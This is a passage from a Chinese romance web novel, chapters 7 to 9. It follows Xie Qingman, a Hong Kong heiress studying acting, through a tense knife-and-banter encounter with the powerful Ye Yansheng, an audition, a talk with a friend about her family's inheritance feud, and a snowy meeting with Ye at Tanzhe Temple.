《艳杀》
7.安全距离
腹诽虽未说出口,但叶延生猜得到,挑了下眉,“虽然不太愉快,也用不着事后翻脸吧?”
他这人身上有一种轻佻又沉郁的矛盾感。
平时看着阴冷桀骜,不近人情,是个不好招惹的主儿;可此时笑起来,却又显得懒散浮浪,似乎和那些纨绔公子哥别无二致。
玩儿惯了的人,大约是起了几分兴味。
他拿她当消遣呢?
谢青缦很轻地“哦”了一声,反手摸出一把匕首,寒光雪亮,“易地而处,你也能担待一下?”
薄刃划破气流,刀背往上掠去。
叶延生的反应比她想象得还快,出手如电,劈在了她腕间,卸掉了袭来的力道。握柄落回手中那一刻,他掌心下压,将匕首收回刀鞘。
刀柄调转了方向,抵在了谢青缦颈间。
叶延生轻哂,“我只当你会审时度势,原来是不死心。”
他以为她上次单纯害怕。
现在看来,不过是因为硬碰硬没胜算,但凡有合适的时机,她就敢琢磨怎么还回去。
她还真是一点都不肯吃亏。
“利器无眼,容易伤己。”叶延生手上一挑,用握柄抬了抬她的下巴,语气温柔得要死,“你不适合玩这么危险的东西。”
一来一往,两人几乎贴在了一起。
明明是短兵相接的情景,但情势转变得太快,在外人看来,倒像是调情。
“我靠,这是唱哪儿出?”
“英雄救美改强抢民女了?”有人用手肘撞了下裴泽,啧了声,“这妞儿够烈性的啊,都亮刀子了。”
“我哪儿知道?”裴泽心下一样诧异,他视线落在谢青缦身上,微微皱了下眉。
谢青缦似乎终于歇了心思,正冷眼看着叶延生,“这话你应该留着自勉。”
“那晚的枪,只是个模型,随葬的纪念品,不具备杀伤力。”叶延生难得肯耐着性子解释,“误会而已。”
他松开她,将匕首原封不动地递给她,“你这才是——”
视线触及这把袖珍匕首,他身形微顿,忽然笑了一下,“这是朋友送的吗?”
这是一件近战短兵,蝴蝶SOCP。
全齿单刃的短款,单血槽,龙骨设计的刀身,尾端有一个快拔拉环,像钥匙扣,套住指节能抓紧刀柄,避免脱手而被对方夺刃。最初是为Special Operationsbatives Program(特种作战格斗计划)设计的作品,现在也用于户外。
眼前这件应该是手工打磨的限量版,握柄处留有刻字:
斯宾塞体的字母,早已磨得看不清。
当个挂件也不违和。
谢青缦也确实当挂件带的。
她从他手中抽走了自己的东西,没回答他的问题,只是反唇相讥,“我用的是刀背,也不具备杀伤力。”
薄刃厚脊的设计,锋利的只是刀口。
说话间,有人匆匆从一楼上来,压低声音跟叶延生说了几句话。
似乎出了什么事。
叶延生摆了摆手,始终没表态,反倒转头看向谢青缦:“待会儿去哪儿?我让人送你。”
光与影界限清晰,错落在叶延生眉眼处,衬得他眉弓挺拔,五官更加深邃而沉郁。
他若有所思地看着她,也不知道在想什么。
“我可以自己走。”谢青缦面带微笑。
很假的那种。
被完全压制了太久,她看上去有点忍无可忍了。
-
叶延生说要人送她,真就推拒不得,当着她的面,不容置喙地喊了一声“裴泽”。
征求的姿态,通知的作派。
等出了会所,一辆黑色的宾利适时地跟上来,停靠在路边。司机拉开了车门,那个叫裴泽的年轻人已经在等她了。
“上来,我送你。”
谢青缦说“不用”,但对方根本听不进去。
“那不成,二哥吩咐的事儿,我得照办。”裴泽多精明的一个人,打蛇随棍上,“再说这辆车都是他的,我都让人开过来了,如果不把你送回去,我怎么回来交差?”
见她没动,他也不急,只笑道,“我看你是个聪明人,应该知道,今天不适合一个人回去。”
的确不适合。
今天的麻烦解决得那么快,那是因为别人忌叶延生的威。
但过了今天,难保日后如何。
所以再送一程,虽然是做给别人看的,却能绝了别人的念想。
谢青缦没理由拒绝,“那就有劳了。”
一路无话。
车内加州桂的气息若有似无,深沉而温暖,比起港城那辆柯尼塞格,这辆宾利的价位和车牌,都低调了许多。
不过配置不低,内饰定制改造过了。
可能碍着叶延生的关系,裴泽一直很客气,直到快到目的地,才忽然问:“冒昧问一句,谢小姐是哪儿的人啊?我看您跟二哥,似乎是旧相识。”
他有意无意地点到,“要不是他有事处理,今天恐怕轮不到我来送谢小姐。”
这话说得多妙啊。
话里的玩味和探寻确实冒昧,但他后半句又很“体贴”,特意解释叶延生为何不亲自送,倒像是在顾忌,顾忌她跟叶延生可能有那种关系。
“港城。”
谢青缦只作完全不知裴泽话中深意的模样,温淡一笑,“不过裴公子好像误会了,我们不认识。”
裴泽笑了一下,意味不明。
他当然不信。
若是陌生人,叶延生的安排未免周全过头了,但他也没必要刨根究底。
谢青缦也没有闲聊的兴致,微侧了身子看向车窗外,感觉被什么东西硌到。
她摸索了一下,后座有一个木盒。
宝莲的印记刻在檀香盒子中心,底端用隶书字体题着“潭柘寺”,应该是在寺庙开光的物件。下面压着一封柬帖,奏折的形式,是下周为期三天的“万国法会”的邀请函。
谢青缦不动声色地将东西放了回去。
车子已经驶进校内,裴泽借着提问扭头多扫了她一眼,“就到这儿?”
谢青缦点点头,“宿舍离这儿不远。”
话音刚落,裴泽本来转回去的头,又猛地扭回来。
他看着她愣了会儿,怪叫了句“靠”,似乎很意外,“上回在白加道,是你啊。”
“什么?”谢青缦没反应过来。
几个月前,白加道的别墅。
她从楼上下来时,根本没注意楼下停靠着车,更没发觉,车里还有人在。
“都住一块了,还说不认识?”裴泽看戏似的看她,“今天又是哪唱儿出?妹妹,你俩吵架了?闹脾气的花样儿还挺多啊……”
谢青缦垂了下眼睑,面上没多少情绪,“你想多了。”
解释不通,也没意义。
他这种公子哥,身边花团锦簇,从不缺天香国色,见多了别有用心的人。
这种时候小心翼翼,姿态放低,反倒像一种谄媚和奉承,坐实了他鄙薄的猜测。
很可
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笑。
谢青缦也不惯他的。
不等裴泽落井下石,她拉开车门,温温淡淡地笑了一下:
“就像您说的,我若有心,今天送我回来的人,不会是裴公子。”
裴泽被她噎得不轻。
可惜有叶延生的话压着,他敢怒,也不敢言,而且他也来不及反驳。
谢青缦说完就下车了。
团团暖气在她周身消散,冷风一个劲儿地往领口灌。她抬头看一眼,冬日暮色上合,光线昏昧,一切都显得肃冷又清寂。
等身后的宾利驶离,消匿在暮色里,谢青缦才缓下脚步。
她手里捏着芭蕾舞剧的票根,折了两下,扔进了路边的垃圾桶。
京城显贵,只有一个“叶”字煊赫。
她其实知道。
-
宿舍里很安静。
常规四人间,住的都是同一专业的学生。
室友之一的顾娆,从入学就一夜爆红,单凭一张脸都能上热搜,如今行程都快排满了,并不怎么回来。上个月又搬出去一个,如今宿舍里只剩她和席瑾。
说起来,这一届的风头,快被顾娆出尽了。娱乐圈的新人,不是谁都能好命到直接当主角,运道、资源、实力,缺一不可,多的是名不见经传的人。
所以大部分人还是按部就班的上专业课,得到消息自费去剧组挨着试镜。
“这么早就回来?”席瑾探出身来看了眼。
“艺术概论的期末论文还没搞完,我收个尾。”谢青缦撂下链条包。
“要不要这么拼啊,下下周才到deadline。”席瑾继续浏览试镜消息,“算了,我也搞论文吧。看了那么多角色,不是基本内定了,就是时间上来不及。”
正靠在椅子上的谢青缦转过身来,双手搭在椅背上,下巴担着胳膊。
她看了一会儿,笑道,“京西下周六的那个试镜可以,反正周五没什么课,订张机票过去,第二天赶得及。”
“可这是电视剧。”席瑾说得蛮直白,“还是一个原创大ip,女主恐怕已经内定了。”
演艺圈是存在鄙视链的,影圈看不上视圈,几乎是一条铁律了。
ip知名度高的作品,新人基本只能面个三四五,女二都够呛,而电视剧如果也从配角开始,以后资源就更虐了。
“试试嘛,反正还没定。”谢青缦检索了下剧本和剧组信息。
《问鼎》是古装权谋剧,以后朝堂争斗为明线,十八年前徽州秘事为暗线,群像角色各有特点,明争暗斗,大杀四方,家国情怀升华主题。女主是野心的代名词,步步为营,但又有自己的底线。少年帝后成长史,从争权夺势,各取所需,走到圆满,在今年一众偶像剧里,这种类型很亮眼。
只要编剧不乱写弱智感情戏,就值得去试,何况荆厦传媒的剧都是偏正剧向的。
订好了机票,谢青缦搜索了下附近的酒店。
试镜地点的位置有点偏,基本都是民宿客栈,软件推送的旅游景点笔记,也寥寥无几。
除了一个八奇洞,剩下的全是寺庙打卡。
“你要去上香祈福吗?”席瑾的声音冷不丁地响起,“怎么不去雍和宫啊?听说非常灵验。”
谢青缦没防备,差点被吓到。
她压根没注意到席瑾什么时候凑过来的,更没注意,自己是怎么不知不觉开始浏览潭柘寺的页面的,鬼使神差一样。
“没,”谢青缦关掉了页面,面色轻淡,“看到推送就点进去了,试镜地点离得近。”
8.万法缘生
一轮试镜如期而至,谢青缦赶到现场的时候,见到了不少熟脸。
大概是这部戏的投资不少的缘故,《问鼎》的班底,几乎可以对标电影配置:
导演一直扎根正剧,虽然不保证收视率,但一定能保证口碑;摄影是唯一得过金像奖的华裔;重点是编剧汪简,他几乎从未失手,执笔过的剧本笑点、爽点,和家国情怀,全方位吊打业内;再加上古装容易出爆剧,试镜候场区已经快挤满了。
从实力派前辈,到近期活跃在荧幕上的流量,甚至纯新人……
这部戏的竞争压力实在不小。
试戏片段和顺序都是抽签决定的,谢青缦抽到的号码还算靠前,依然折腾到很晚。
等试镜结束,已经下午一点了。
谢青缦就近找了家餐馆。
灰瓦白墙,雕花木门,灯笼上题着店名,古香古色的装修,有点仿古客栈的样式。
她找了个清净的位置,给向宝珠发定位。
向宝珠清闲得很。
她受邀来京城参加高珠宴,今天一个人逛街,特没劲儿,正缺人相陪。
“真不容易,你终于忙完了,Ivy。”
向宝珠推开木门,踩着Jimmychoo黑金兰花的高跟鞋,风风火火地进来,将水晶灰的雾面鳄鱼包随手一撂。
她一身潮牌,墨镜遮住了她大半张脸,指间钻石流光溢彩,高调得简直闪瞎眼。
“你不知道我昨晚过得多坎坷。”
昨晚是Cartier的高珠新系列发布会,晚宴的现场管弦乐队的演奏声悠扬。
红毯两侧摆了不少朱丽叶玫瑰和蜡烛,烛火摇曳,镁光灯狂闪,衣香鬓影间一派浮华和“祥和”之色。
如果她刚到手的高定裙摆上,没被烛火燎了个洞的话——就更祥和了。
“时装周秀场上压轴的婚纱款,工期很长的,我刚穿不到半小时就毁了,严重坏我心情。”
向宝珠的不爽写在了脸上,“更可恨的是,如果不是某人,我根本不会烧到裙摆!”
“某人是谁?”谢青缦敏锐地捕捉到关键字眼。
“这不重要,重要的是,□□,而是人祸。”向宝珠面无表情地强调完,咬牙切齿地骂道,“都係嗰個外江佬嘅错。”
“虽然很同情你的遭遇,但有必要纠正一下,这里是京城。”
谢青缦莫名想笑,“他不一定是本地人,但你一定是‘外江佬’。”
“你站哪边的?”向宝珠气结。
“客观评价。”
玩笑而已,倒也没人会计较。
但气氛还是凝结了,因为向宝珠欲言又止止言又欲的模样,实在异常。
“怎么?”
向宝珠明显犹豫了几秒,才鼓足勇气道,“其实也不是什么大事,就是有个问题想问你……”
她目光闪了闪,声音有些含糊,“Ivy,你最近是不是很缺钱啊?”
似乎怕谢青缦误会,她又连忙解释。
“我的意思是,如果你有需要,可以告诉我。反正我老豆有钱,他又不能不管我。”
霍家发生变故,本就有不少闲话,最近谢青缦频繁转让名下资产,从别墅跑车游艇,到基金股份,导致暗流下的议论开始疯狂涌动。
而君港资本也不太平。
二太做局斗走了谢青缦,打压了原配长子的旧势力,眼看把持霍家指日可待,谁成想位子还没坐稳,又来一个作对的。
据说是霍宏成的私生子,也有说法是霍宏成婚前跟初恋黎芝的儿子,竟也想分一杯羹。也不知道他使了什么手腕,哄得老太太和霍家老三-反水,要打官司撤换家族信托。外界都在笑“贵圈真乱,豪门八点档狗血淋头”。
霍家确实太乱了。
港媒都不用添油加醋,谢青缦的父亲霍宏城,光台前就有三个女人:初恋黎芝、她母亲谢柏惠、二太周毓。
当年霍家在港城势颓,被资本围剿,外界媒体传言,她母亲谢柏惠为了她父亲,不惜站在谢家对立面,执意下嫁。两人相爱时轰轰烈烈,婚后有一子一女。
子随母姓,而她随父姓,本名霍吟。
而后霍家风生水起,富贵荣华,两人婚姻却满目疮痍。
她母亲确实很有手腕,生前大权在握,说一不二,压制得霍家不敢有半分异言,可惜天不假年,过世后,她父亲花边新闻不断,明面上二太酒局上位,已经不堪,背地里不知给她添了多少兄弟姐妹;回头再看当年,所谓一往情深,其实可笑。
其实传言中,她母亲恋爱脑那段并不真,牵扯到谢家权力争斗,事出有因,说来也话长。但她父亲——
国外相遇时,霍宏城刚和初恋黎芝分手,就能对谢柏惠展开猛烈攻势,几分是真心,几分是利益,不言而喻。
内斗僵持至今,在意料之内。
但瘦死的骆驼比马大,按理说,谢青缦不该如此落魄。
毕竟霍家资产雄厚,就算大部分产业被二太和她两个叔叔把控,她名下积蓄依然不少,实在不至于靠变卖换现。
她好像急需一大笔资金一样。
向宝珠握着谢青缦的手,很认真地保证,“你放心,Ivy,我也不会不管你的……”
“我知道。”
谢青缦看她郑重其事,原本想笑,心底却又慢慢升起了一丝感动。
“我确实缺一笔钱,但说来话长,目前也不需要救济,等以后跟你解释。”
她需要一股外力。
时至今日,霍家的局面太难掌控了。
想一举定乾坤,想永绝后患,“财”之一字,实在不足以成为这股东风。
“不管怎么说,谢谢你的好意。”谢青缦顿了下,“如果将来要你帮忙,Bella,我不会跟你客气的。”
“你现在说话就挺客气的。”向宝珠轻哼。
谢青缦哑然失笑。
她旋了旋手中的茶盏,看着虚白色的水汽升起,袅袅如烟,目光柔和下来。往日的清寂和冷淡,似乎都散去几分。
-
出了七弯八绕的胡同,附近寺庙钟声回响,隐隐有梵音传出,庄严而肃穆。
入九之后,正赶上潭柘寺的万佛法会。
各国寺庙僧人到访,在大雄宝殿讲禅,过几日闭寺,会在后山激辩,钻研交流佛法。寺庙内佛号声声,梵音不绝,寺庙外是从各地前来的游客,从寺门鱼贯而入。
人流如潮。
“走,跟我去烧个香,”向宝珠拽了下谢青缦,一反常态的殷勤,“给你求个女一。”
“我试镜都结束了,现在去,临时抱佛脚?”
“结果不是还没出吗……好吧,其实主要是陪我去,”向宝珠哀怨地叹气,“我最近好黑仔啊,我要去讨个好彩。”
谢青缦莞尔。
她低头扫了一眼,“那你还是先换鞋吧,你这鞋,连售票口都爬不上去。”
冬日的空气清冽和冷肃,山脉间的灰与绿连绵起伏。潭柘寺坐落在宝珠峰前,依山取势,红墙环绕,远远便能窥到寺内的金殿高阁错落排列着,瑰丽又高大,参天的古树和林立的佛塔相映成趣。
千年古刹,自是气派恢弘。
寺庙门口几十米,有个求签的小摊,提花佛堂的黄绒布上,放置着签筒。
向宝珠所说的讨好彩,其实就是求签。
连寺庙门都没进,她已经闭着眼睛,念念有词,“虔诚”地摇了五支签了——
但凡签文不合心意,她就当看不见,在摊主欲言又止的注视下,她继续付钱继续求,硬是摇出一支上上签。
“这还灵验吗?”谢青缦一言难尽地看着她,“求签还能讨价还价,不满意包退的?”
“那我不管,我花了钱的,当然要买个满意的结果。”向宝珠理直气壮地辩解完,将签筒递给谢青缦,“你不试试吗?”
“算了吧,”谢青缦眸色清明,“万一签文不如人意,平添许多烦恼。”
她向来不喜欢听天由命的感觉。
向宝珠闻言,也不强求,打算将签筒放回去,只是手上没留神,签筒在木桌边倾倒。
“欸——”谢青缦眼疾手快地接了一把。
签筒被扶回原位,签条却在木筒中相撞,抖落一支,正面用朱砂题着字:
【第五签,中吉,刘晨遇仙】①
谢青缦瞥见签文,心叹这签不求也求了,不由得俯身捡起,纤细的手指翻过背面小字。
诗曰:
【一锥草地要求泉,努力求之得最难。
无意俄然遇知己,相逢携手上青天。】①
“此卦是锥地求泉之象,表徵君之运图。”①
摊主扫了一眼签文,视线落在谢青缦身上,凝视了良久,笑了笑,慢悠悠地说了断语。
“欲望心事,西方可求。不如莫动,立地可谋。
偶然遇知己,即是得贵人之刻,可扶摇万里。”①
谢青缦指尖微顿。
她纤长的睫毛一敛,遮住了眸底的情绪,不动声色地将签文放回去,而后低头扫了码。
“看着给就行。”摊主摆了摆手。
谢青缦没应声,转完钱,胳膊肘怼了下不明所以的向宝珠,视线清清冷冷的。
“走了。”
“哎?掉地上的,你还给转这么多?”
-
寺庙靠山绕潭,清净而庄严,但香客不少。拾级而上,殿宇楼阁步步成景,宝殿庄严肃穆,
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上盖黄琉璃瓦绿剪边,下置鎏金金链和碧玉琉璃,供奉着巨大的佛像,金光万丈。
向宝珠虽然三分钟热度,但在寺庙还算收敛。
她求了个平安符,留在一处侧殿抄经,打算带回去讨家里老人欢心。
后半程谢青缦没和她一起,自己逛了逛。
寺内景致清幽,从金剑鸱吻到碧玉挂金,再到曲水流觞,处处巧思。
过了放生池,财神殿香火鼎盛,再往上,就是依山而建的众多佛殿。
谢青缦一路拜佛登顶。
“施主,祈福移步其他殿阁,今日圆通宝殿不对外开放。”
小和尚朝她施礼,好心提醒道,“施主可沿一侧上下行,不易走错。”
祈福不走回头路。
东西两路各有院落,一般寺庙左进右出,但潭柘寺香客大多东上西下。
谢青缦最初也是和向宝珠从东路上来的。
只是后半程独自一人时,她左右穿行,多绕了许多路,才把西路殿阁逛了大半。
小和尚大概以为她不识路,才绕了这么久。
“多谢法师。”谢青缦敛眉还礼。
殿外檀香袅袅燃起,烟熏火燎,她看了眼殿内金光万丈的佛像,悲悯地看着众生。
她面上没什么情绪,心绪却如烟,无声浮乱。
其实她看过路线图,知道怎么走;其实昨日飞机落地,她就来过这里了;其实她往日去寺庙没那么殷勤,也没有闲逛的兴致,她大可以留在偏殿,陪向宝珠抄经。只是——
只是什么呢?
在赌一个微渺的可能性吗?
咚嗡——
咚嗡——
……
寺庙空灵而悠长的钟声里,谢青缦阖眸,轻嘲地扯了下唇角,心说汲汲营营一生,谁不是为利而来,为欲而往?
起心动念,神煞皆知。
刚压下蠢蠢欲动的念头,脚边忽然有异动,谢青缦看到一只红狐。
小狐狸绕着谢青缦转了两圈儿,在她蹲下身时,温驯地坐了下来,竟也不怕生。
“咦?”谢青缦抬手摸了摸它的头,轻笑着自语,“原来这儿还有狐狸啊?”
小狐狸“呲溜”一下从她掌心窜走,跑到几米外坐下来,扭头盯着谢青缦。
它褐红色的毛皮在冬日阳光下,镀了一层油润的光泽,毛茸茸的尾巴晃动了下。
见她没动,它又跑了两步,再次停下来。
“是要我去吗?”谢青缦双手撑着膝盖起身,勾了下唇,眸色温淡而清丽。
小狐狸和她无声对峙,尾巴又甩了一下。
什么“欲望心事,西方可求”……算了。
本就是没影儿的事儿,她又何必劳心费神,去验证一条荒谬的签文,自个儿找不痛快呢?
眼前也算个新意趣。
跟着小狐狸走走停停,谢青缦过了一段陡峭的阶梯,走到了东观音殿西侧的山崖下。
一路折返。
小狐狸窜进草丛里,很快就没了踪影。
谢青缦打量了一下周围的环境。
眼前是刚刚没踏入的院子,尽头有两个人工开凿出来的洞口。
入口低矮,需要躬身才能踏入,内里比较狭窄,供着三尊菩萨像,两侧系满了祈愿的红丝带和还愿的锦旗——
这地界,竟还有一个观音洞。
观音洞内充盈着香火气,祥和而宁静,平复了浮躁的心境。
谢青缦大略地扫了眼附近。
不由自主地,她朝中间那尊菩萨像走去,想寻一个渊源注解。
刚在蒲团前站定,身后冷不丁传来一道男声:
“这尊佛像,不是随便拜的。”
谢青缦的眉心跳了一下。
观音洞内不知哪来的风,穿过缭绕的香火,掀起她一缕柔软的发丝,扬起,又落回肩头。她转过身来,眼前万千尘埃,像无处隐匿的欲念,飘荡在光束下。
叶延生不知何时立在她身后。
男人一袭黑色风衣,五官深邃,宽肩窄腰,气质矜冷清绝,如经雪不坠的松。
只是眉尾那道断痕,添了几分凌厉和野性,衬得那张清贵的面容,攻击性极强。
“观音殿在西线最北边,你从这儿出去,走到地势最高处,看到‘莲界慈航’的金字横匾,就是求事业和平安的地儿。”
他没看她,视线落在菩萨像上,声音沉且缓,“这三尊汉白玉像,是送子、保子、求子观音。”
“啊?”谢青缦声音很轻。
此刻眼底一闪而过的茫然是真的,她没反应过来,也没听进去。
“这儿是求子洞,”叶延生睨她,轻挑眉,“你来求神拜佛,还不做功课?”
9.京雪忽至
谢青缦心说,你不是也在这儿吗?
但她没这么问。
“我来陪朋友,”谢青缦面对他,语气随意又坦然,“试完镜闲着无聊,朋友要来抄经祈福,我又没事做,就瞎逛逛。”
初冬的天光灰淡,光线抛入观音洞内,暗沉沉的,周遭的一切都像是褪了色。
香火气鼎盛,从外到内,弥漫在冷寂的空气里,也覆盖了两人满身。
“你没替自己求点什么?”
“求了呀,刚还求菩萨去秽迎运,佑我不遇不善,然后——”谢青缦微顿,迎着他的视线,弯唇笑了下,“就在这儿撞见你了。”
敢情她留了句“不善”噎他呢。
叶延生轻“啧”了声,疏冷的眉眼沉沉,“你还挺会寒碜人。”
他脸色淡了一点,唇角挑起一丝微微笑意,轻佻,却又有种诡异的冷郁,“小姑娘很记仇啊。”
“怎么会,谢您还来不及。”谢青缦纤密的睫毛一眨,语气温温柔柔的,三分真七分假,“上次谢你解围,我可是认真的,您自个儿多心。”
她跟他总这样。
说话劲劲儿的,跟念台词似的。
叶延生轻哂。
他说她敷衍的样子太假,“你这样的,以后怎么演戏?”
“追逐一下梦想而已,”谢青缦哪管他怎么想,“又不是所有人都要追名逐利。”
这论调,其实有点儿大了。
但她还真是对表演感兴趣,才想当演员。
过去她要风得风,要雨得雨,心思根本不在家族企业上。她有个一母同胞的哥哥,天生的商业头脑,年纪轻轻就铁血手腕,在董事会有极高的威望、绝对话语权和决策权。当时的她没多少野心,兄妹感情又不错,她不用争,就可以坐享其成,哪怕冒出来个私生子分家产,也轮不到她操心,亲哥什么都能处理好。
按原定的人生计划,她想体验一下演员和导演,从台前到幕后,再尝试投资。
反正她年纪小,完全可以玩够了再回家。到时候轮值一下管理层,最好能负责家族的某个商业版块;万一胜任不了,那就交给职业经理人,她可以躺拿分红,换个领域继续追求梦想。
可惜世事不会尽如她愿。
即便曾经的热爱是真,此刻分身乏术,为有过的放纵选择后悔,也是真。
谢青缦长睫一敛,不动声色地掩去了眼底的情绪。
“其实上次见到你,我就很好奇,”她偏了下头,“我能不能问你一个问题?”
“不能。”
谢青缦微怔,“我还没说是什么呢。”
拒绝在意料之中,但他拒绝得太彻底。
观音洞外香客络绎不绝,又燃起三柱高香,有人正拎着祈福的红绸带来,两人便往外走。
寺内北侧佛殿层层拔高,雄浑而庄严,参天的古树掩映其间,视觉效果极其壮观。黄琉璃瓦或绿琉璃瓦覆盖屋面,飞檐翘角,展凤旋龙,隐隐约约有佛号梵声在上方回荡,不绝于耳。
谢青缦跟在叶延生身后,有点不死心,“要不然我们交换一下,你也可以问我。”
她伸手扯他的袖角,“或者你先问我。”
叶延生目光很静,止步看向她。
就那么一两秒,他视线下撤,掠过她的面容,落在她拽自己的手上,眸色暗了几分。
薄薄天光下,衬得他眉眼冰冷,又阴沉。
谢青缦对他的情绪浑然未觉,只讪讪地说了句“算了”,拽着他袖子的手微松。
正要缩手,叶延生反倒问她,“你叫什么?”
这算什么问题?
谢青缦动作一顿,竟也忘了收手,“我还以为,每个接触过你的人,资料都会摆你面前。”
叶延生轻眯了下眼,落下一声笑,“我没那个闲工夫。”
他是没功夫了解接触过的每个人,但港城雨夜发生的一切,都太巧合了。
家世地位横在那,形形色色心思各异的人,他见多了,对所谓巧遇,怎么可能没一分疑心?
谢青缦看破不说破。
“谢青缦。青云直上的‘青’——”她话很干脆,边说,边将半拽他的手往下落,点在他手背,一笔一画地划了几下,“廊腰缦回的‘缦’。”
她指尖冰凉。
微妙的情绪和晦暗的念头,像将熄未熄的火星,因为一点点碰触,难以遏制地往上燎。
叶延生反手锁住她的腕骨。
他手劲儿太大,默然看她时,眉眼有一种锋利而刺骨的冷意。
可他没看出任何端倪——
她面上始终坦然,没半分刻意的情绪痕迹。
两人的视线在一瞬间无声相撞。
过近的距离,暧昧在瞬间成了可以杀人的利器。但主被动关系的调转,让压迫感占了上风,一切似是而非的感觉被绞杀殆尽。
谢青缦下意识挣了一下,没挣开。
“怎么,”她半开玩笑地反问,“您还讲究男女授受不亲?”
叶延生没回应,但也没放开她的意思。
这场面,太微妙了。
谢青缦却像浑然不觉一样,任由他握着自己,清亮的眼眸映出他的身影。
“你还欠我一个问题。”
“我没答应你。”
“……”
话被堵了回去,谢青缦也没较真,“算了,看在您今儿不痛快的份上,当我没说。”
叶延生挑了下唇,说不上来是促狭还是什么,“你又怎么知道我痛不痛快?”
谢青缦其实想说他今天特呛火,不高兴都快写在脸上了。
但她说话从来委婉,“求神问佛,不是有所求,就是有所惑。不然你来寺庙干什么?”
叶延生松掉了禁锢她的手劲,嗓音沉沉地淡嗤了声:“我不信神佛。”
大约猜到了她在想什么,他浑身松着一股懒洋洋的劲儿,漫不经心,“讨老人家高兴罢了,我家老太太信这东西。”
这东西?
“就您这态度,一点儿都不虔诚,”谢青缦忍不住拆他台,“老人家要是听到了,很难高兴。”
潭柘寺这位置够偏,不比雍和宫,在二环以内,但上香,可能也讲究个机缘。
前者是汉传寺庙,后者是藏传寺庙。
起源和传承不同,也是大乘佛教显宗和密宗的区别,汉传佛教更本土化,融合了儒、道两家的文化思想,供奉的佛菩萨大多和善示人,是中原地区的主流。
老人家估计有这些讲究,要是听到自己孙子在这儿“大放厥词”,不骂他才怪呢。
思量间,冰凉的触感从天而降。凉意落在额间,她一怔,下意识地伸手去接。
是雪。
京雪忽至。
今冬的第一场雪,降落得无声无息,也越下越密。灰白色的天光比来时更沉暗,寺内落雪纷纷,如絮似雾般满天飞,金殿高阁和远山密林像蒙了一层雾色。
很快,周围人都有了反应。
附近有人雀跃,有人惊呼,有人从大殿中出来,三三两两地聚集在一起,等着拍照。
兽头铜炉中檀香还在燃,袅袅的香火缭绕着升腾,在雪天,痕迹淡了几分,虚白得像幻影。
谢青缦很喜欢雪天。
港城不落雪,所以她每年会去Courchevel滑雪跳伞,在白马庄园等一场雪落;或者和朋友飞北欧过圣诞,喝玛歌的赤霞珠,在槲寄生下拆礼物,在冰岛泡温泉,看极光和繁星在夜幕相逢。
不同于今天,无意邂逅的景色。
她将初雪框进手机镜头里。
两人站在古树之下,松枝纵横蒙密,遮去了大半落雪。
也许是因为身处寺庙,他和她,竟也能如此安和地站在一起。
叶延生看着她捕捉画面的动作,眸底的情绪沉了几分,说不清道不明。
他忽然回答了她刚刚的质疑:“是不够虔诚,不过诚心,又算什么东西?”
“那是您顺风顺水,什么都不需要,”谢青缦轻哼,在心底小小地鄙弃了下,“要是哪天有所求,怕是谁都不能免俗。”
叶延生闻言,不过沉声一笑。
“求神拜佛。”
他带了三分谑意,语调缓慢地把玩这四个字。
佛殿中的金身玉像尽收眼底,他眸色冷淡,笑意凉薄,将狂悖的话说得风轻云淡:
“求神拜佛,不如求我。”
谢青缦指尖微跳,下意识地望向他。
天光昏微的穹顶之下,空气稀薄,清凌而绵密的新雪,在空灵沉远的暮钟声里,簌簌而落。
暗淡的光线裁出男人挺拔端直的身影,难掩他周身的冷郁和傲气。
“Ivy!”
不远处熟悉的声音传来,打断了她的思绪。向宝珠站在院门下,朝谢青缦的方向,挥了挥手。
“我朋友来了。”
谢青缦顿了下。她跟他不算熟,说“再见”其实有点自作多情。
“我先走了。”
叶延生睨了她一眼,眸底墨黑一片。他没搭腔,只是朝身后使了个眼色。
隔了几米的距离,是他的人。
他手底下的人非常识趣,得到授意,才上前,将一把黑伞递到谢青缦面前。
对方衣着和行为十分低调,在此之前,谢青缦甚至注意不到有人跟随;不过他强壮笔直的身形紧绷着一股张力,食指和虎口有枪茧,更是让人了然——
这人身手不错,应该当过兵。
叶延生朝她微抬了抬下巴,语气沉静,“带着。”
这时候再拿乔,就跟有病似的。谢青缦也没矫情,“成,有缘还你。”
“还我?”叶延生挑眉。
他不在乎这把伞,他只好奇,她打算去哪还。
“给你寄回白加道啊。”谢青缦头也没抬,不假思索,“不过要等我下次出境的时候。”
砰的一声,伞骨撑开。
黑伞在谢青缦手中,穿透了风中撕棉扯絮一般的雪幕。
她一手撑伞,一手回向宝珠催促的消息,全然没看到叶
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延生眼底一闪而过的情绪。
正转身要走,她听到他的声音:“手机给我。”
“嗯?”
动作快上思维一步,谢青缦不自觉地配合。
但递出去的瞬间,她又觉出不妥,缩了几分的手,要收不收地僵在半空。
“好乖。”叶延生笑了声。
有点坏,又有种说不出的散漫劲儿。
他压根没给她迟疑的机会,矮了下肩,半个身子探到伞下,就着她的动作,单手拢住手机,打了几个字。
等搜索跳转的账号添加完成,他才适时地松开她。
全程行云流水,一气呵成。甚至没让人反应过来,刚才那几秒,是如何异样和微妙——
她的指尖,就裹在他掌心之间。
他和她的手形成了鲜明的对比,他掌心宽厚、有力,能完全包住她,越衬得她十指纤纤。
一如两人的体型差。
即便是刻意放轻的力道,依然可以轻而易举的掌控,牢牢禁锢,存在感强烈得让人避无可避。
谢青缦很想后退。
但她克制了这种条件反射:
距离早已被他拉开,她再做出反应,反倒多此一举,有种欲盖弥彰的意味。
“我不常住白加道。还有,”叶延生将她的僵硬尽收眼底,勾了下唇,似笑非笑地转了话锋,“你朋友催你了。”
手机屏幕上方,是一条新弹出的消息:
Isabella:
【你!在!干!什!么!阿吟,你要把冰雪聪明的我冻死在冰天雪地里嘛!】
多正常的提醒。只是向宝珠偶尔唤她本名,他见了,偏要跟着添上一句:
“阿吟。”
声线是冷的,语气也算不得亲昵,可沾上三分笑意,他这声“阿吟”缱绻至极。
像抵死缠绵后的意犹未尽,似是而非地摄人心。
一种酥麻的感觉从她耳根蹿起。
要死。
谢青缦瞪了叶延生一眼,眸中带了点似真似假的嗔怪和愠色。
她无声地压低黑伞,隔开他的视线。
错身而过。
耳后落下一声笑,昭示了对方的好心情。
谢青缦只当没听见,匆匆穿过雪幕,朝等在对面院门下的向宝珠走去。
“聊什么呢,这么久?”
向宝珠狐疑地朝她身后看去,无意间扫到她手中的伞。
沉香木的雕花暗纹手柄,纹路细腻,低端是口衔克什米尔矢车菊蓝宝石的黑金兽头。没见过的Pasotti款式,应该是订制的。
“那谁啊?”向宝珠实在好奇,“看你们俩很熟的样子。”
“陌生人。”
“诓我呢?哪个陌生人会借这么贵的伞……”向宝珠狐疑地看她,“而且你跟一陌生人说话,用得着贴那么近?”
